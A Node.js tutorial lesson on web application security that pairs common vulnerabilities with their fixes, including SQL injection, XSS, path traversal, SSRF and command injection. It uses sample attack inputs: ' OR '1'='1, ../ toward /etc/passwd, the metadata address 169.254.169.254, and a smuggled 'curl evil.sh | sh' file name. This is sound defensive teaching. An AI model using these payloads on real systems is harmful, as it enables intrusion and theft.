Skip to content
Tutorials Center
My learning

Topics

Lesson 77 of 133 ยท Security and Cryptography

Web Application Security

Learn the most common web vulnerabilities in Node.js apps - SQL injection, XSS, CSRF, SSRF, path traversal, prototype pollution and ReDoS - with runnable vulnerable and fixed code.

Most successful attacks on web applications are not clever. They exploit a handful of old, well-understood mistakes: building a query out of user input, printing user input into a page, trusting a file name, fetching a URL someone else chose. Security guides list these as the "OWASP Top 10", and almost every one of them boils down to the same root cause: data crossed a trust boundary and was treated as code or as a trusted value.

This lesson walks through the issues that matter most for Node.js applications. For each one you will see a vulnerable version, the attack, and the fixed version, all runnable. The cryptography side (hashing, tokens, sessions) is in Passwords, scrypt and Tokens and Encryption: AES, RSA and Keys; here we focus on how requests and data are handled. Checking input shapes properly is the topic of Validating Input.

Everything below is for learning to defend your own code. The "attack" strings are harmless demos running against toy data in your browser's sandbox. Never test attacks against systems you do not own.

The mindset: never trust input

Input is anything you did not write: query strings, form bodies, JSON, headers, cookies, file names and uploads, data from other services, even rows from your own database if users wrote them. Three habits cover most defences:

  1. Validate on the way in: check type, length and format against what you allow (an allow-list), not what you forbid.
  2. Encode on the way out: escape data for the place it lands (HTML, SQL, a shell, a URL), using a tool built for that context.
  3. Keep privileges small: if something does go wrong, a limited database user, a read-only file system and short-lived tokens limit the damage.

SQL injection

If you build a query by gluing strings, the user's text becomes part of the SQL language. The classic payload ' OR '1'='1 rewrites the WHERE clause. The cure is parameterised queries: the SQL text and the values travel separately, so a value can never become syntax. The demo uses the built-in node:sqlite module (experimental in Node.js 24, so a warning may appear on the error output; see SQLite in Node.js).

Node.js SQL injection and the parameterised fix

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Rules that follow from this:

  • Use placeholders (?, $1, or named parameters) in every driver and ORM. Never interpolate values.
  • Placeholders cannot replace identifiers (table or column names). If a user picks a sort column, map the choice through an allow-list: const column = { name: 'name', date: 'created_at' }[input] ?? 'name'.
  • The same family includes NoSQL injection (an object like { "$ne": null } sent where a string was expected) and command injection (see below). Validate types first.

Cross-site scripting (XSS)

XSS happens when attacker-controlled text is placed in an HTML page unescaped, so the browser runs it as markup or script. The result: the attacker's JavaScript runs with your site's privileges and can read the page, make requests as the user, or steal data. The fix is to escape for the HTML context: turn <, >, & and quotes into entities. Template engines (React, Vue, Handlebars, Blade) do this by default; the danger is hand-built strings and "raw HTML" escape hatches.

Node.js Escaping user content for HTML

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Defence in depth for XSS:

  • A Content-Security-Policy header restricts where scripts may load from and blocks inline script, so even an injected tag fails to run.
  • Set session cookies HttpOnly so injected scripts cannot read them.
  • Never build HTML for user content with innerHTML; use textContent. If you must allow rich text, sanitise it with a maintained library (such as DOMPurify) rather than regular expressions.

Path traversal

If a file name from a request is joined onto a folder, ../ sequences can climb out of that folder and read /etc/passwd or your .env file. The fix is to resolve the final absolute path and verify that it still lies inside the allowed directory. More about paths is in Paths and File Permissions and The os and path Modules.

Node.js Blocking ../ from escaping the folder

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Two details: an absolute input such as /etc/passwd makes path.resolve ignore the base, which is why the code prefixes ./ (the last demo line shows /etc/passwd ending up harmlessly inside the public folder), and the relative check catches .. however it is spelled. Also remember that symbolic links can point outside the folder; for strict containment, compare fs.realpath results. Serving static files is better left to a vetted library or a reverse proxy.

Prototype pollution

In JavaScript, all plain objects inherit from Object.prototype. A naive recursive merge of parsed JSON can be tricked into writing to it with a key like __proto__, adding a property to every object in the program. Attackers use it to flip an isAdmin-style flag or change behaviour deep inside a library.

Node.js Prototype pollution through a naive merge

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Why does it work? JSON.parse creates a real own property named __proto__, and then target['__proto__'] on a normal object returns Object.prototype itself, so the recursive call writes into it. Defences: reject those keys, use Map or Object.create(null) for dictionaries of user keys, validate against a schema that forbids unknown fields, and keep dependencies updated (many CVEs have been found in popular merge helpers). See Modern JavaScript for Node for the language side of prototypes.

ReDoS: regular expressions that never finish

Node runs JavaScript on one thread, so a single slow regular expression blocks every request. Patterns with nested quantifiers, like (a+)+$, can backtrack exponentially on an input that almost matches. Each extra character roughly doubles the work.

Node.js Catastrophic backtracking (small on purpose)

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Defences: limit input length first, avoid nested or overlapping quantifiers, prefer simple anchored patterns, test suspicious patterns with a long failing input, and consider a linear-time engine (such as RE2 through a package) for patterns applied to untrusted text. If you ever need to run a risky pattern, do it in a worker thread you can terminate (Worker Threads).

Server-side request forgery (SSRF)

If your server fetches a URL supplied by a user (link previews, webhooks, image import), an attacker can aim it at places only your server can reach: http://127.0.0.1:... admin ports, internal services, or the cloud metadata address 169.254.169.254 that hands out credentials. Validate the URL before fetching: allow only http/https, an allow-list of hosts where possible, and reject private, loopback and link-local addresses.

Node.js Checking a URL before the server fetches it

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

This check is necessary but not sufficient. A host name can resolve to a private address (DNS rebinding), and redirects can hop to an internal URL. Real defences resolve the name yourself with dns.lookup, check the resulting IP, connect to that exact IP, and disable or re-validate redirects (fetch(url, { redirect: 'manual' })). The best protection is network-level: run outbound fetches from a locked-down service with no route to internal systems. See UDP and DNS for DNS lookups.

Command injection

Passing user input to a shell (exec) lets ; rm -rf style text run as commands. Prefer execFile or spawn with an argument array and no shell, so each argument stays a single value. See Child Processes.

NODE
// Read-only illustration (needs a real shell and tools our runner lacks)
import { exec, execFile } from 'node:child_process';

exec(`convert ${userFile} out.png`);                 // VULNERABLE: userFile = "a.png; curl evil.sh | sh"
execFile('convert', [userFile, 'out.png'], cb);      // SAFE: arguments are never parsed by a shell

CSRF, headers and rate limiting in one server

Cross-site request forgery tricks a logged-in user's browser into sending a state-changing request (a transfer, a password change) to your site from another site's page; the browser attaches your cookies automatically. Defences stack:

  • SameSite=Lax (or Strict) cookies, which is now the browser default for cookies without the attribute.
  • A CSRF token: a random value tied to the session that must come back in a header or form field the attacker's page cannot read.
  • Checking the Origin header on unsafe methods (POST, PUT, DELETE).

Other cheap, powerful protections are security headers and rate limiting. The program below builds a tiny server with all three, then calls it with fetch. It listens on port 0 (a random free port) and closes itself so the program ends. For the server basics see Building an HTTP Server and Middleware.

Node.js Headers, CSRF token and a rate limiter

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Notes for real deployments: the in-memory counter above forgets everything on restart and does not work across several servers, so production limiters use Redis or the reverse proxy. Frameworks supply these headers in bulk (the helmet package for Express). Keep X-Frame-Options or CSP frame-ancestors to prevent clickjacking.

Dependencies, secrets and the supply chain

A typical Node app has hundreds of transitive dependencies, so most of your code is someone else's. A few habits keep that manageable (shown read-only because our runner has no npm):

Terminal
# Read-only: commands you would run on your own machine
npm audit                 # list known vulnerabilities in your dependency tree
npm ci                    # install exactly what package-lock.json says
npm outdated              # see what has newer versions
npm install --ignore-scripts   # skip install scripts when you do not trust a package
  • Commit the lock file and install with npm ci in CI and production.
  • Update regularly, and review what you add: small, maintained packages with few dependencies are cheaper to trust. Watch for typosquatted names.
  • Never commit secrets. Read them from the environment (Configuration, Secrets and Environment), and rotate any key that has ever appeared in a repository.
  • Run Node as a non-root user, in a container with only what it needs, and keep Node itself on a supported LTS release.

Error messages and logging

Return generic errors to clients ("Something went wrong", with a request id) and keep the stack trace in server logs. Detailed errors reveal table names, file paths and library versions. At the same time, never log passwords, tokens or full request bodies. Errors and Error Handling shows how to build that split cleanly.

Check your understanding

Quick check ยท 5 questions

of 5 answered You scored / 5 ยท perfect!

  1. 1. What is the correct defence against SQL injection?

    With placeholders the database receives the SQL and the values separately, so a value can never change the structure of the query. Stripping characters is fragile and easy to bypass.
  2. 2. A user comment is inserted into an HTML page. What prevents it from running as script?

    HTML context needs HTML escaping. encodeURIComponent is for URLs and length checks do not stop short payloads.
  3. 3. After joining a user-supplied file name to a base folder, how do you stop path traversal?

    Only the resolved path tells you where you really end up. A relative check against the base folder (and realpath for symlinks) catches ../ in any spelling.
  4. 4. What does a successful prototype pollution attack change?

    Writing through the proto key reaches Object.prototype, and every object that inherits from it sees the new property.
  5. 5. Why is a regular expression like /^(a+)+$/ dangerous on user input?

    On an almost matching string the engine tries exponentially many ways to split the input, freezing the event loop for every user (ReDoS).

Summary

  • Treat every external value as untrusted: validate with allow-lists on the way in and escape for the right context on the way out.
  • Prevent SQL injection with placeholders; map identifiers through an allow-list; prefer execFile/spawn with an argument array over exec.
  • Stop XSS by escaping HTML (or using textContent) and add a Content-Security-Policy and HttpOnly cookies as second layers.
  • Stop path traversal by resolving the final path and checking it stays inside the allowed folder.
  • Block prototype pollution by rejecting __proto__, constructor and prototype keys, using Map or Object.create(null) and schema validation.
  • Avoid ReDoS by capping input length and avoiding nested quantifiers; defend against SSRF by validating schemes and resolved IP addresses and limiting network reach.
  • Add CSRF tokens or SameSite cookies, security headers and rate limiting, keep dependencies audited and locked, and never leak internals in error messages.

Next: Configuration, Secrets and Environment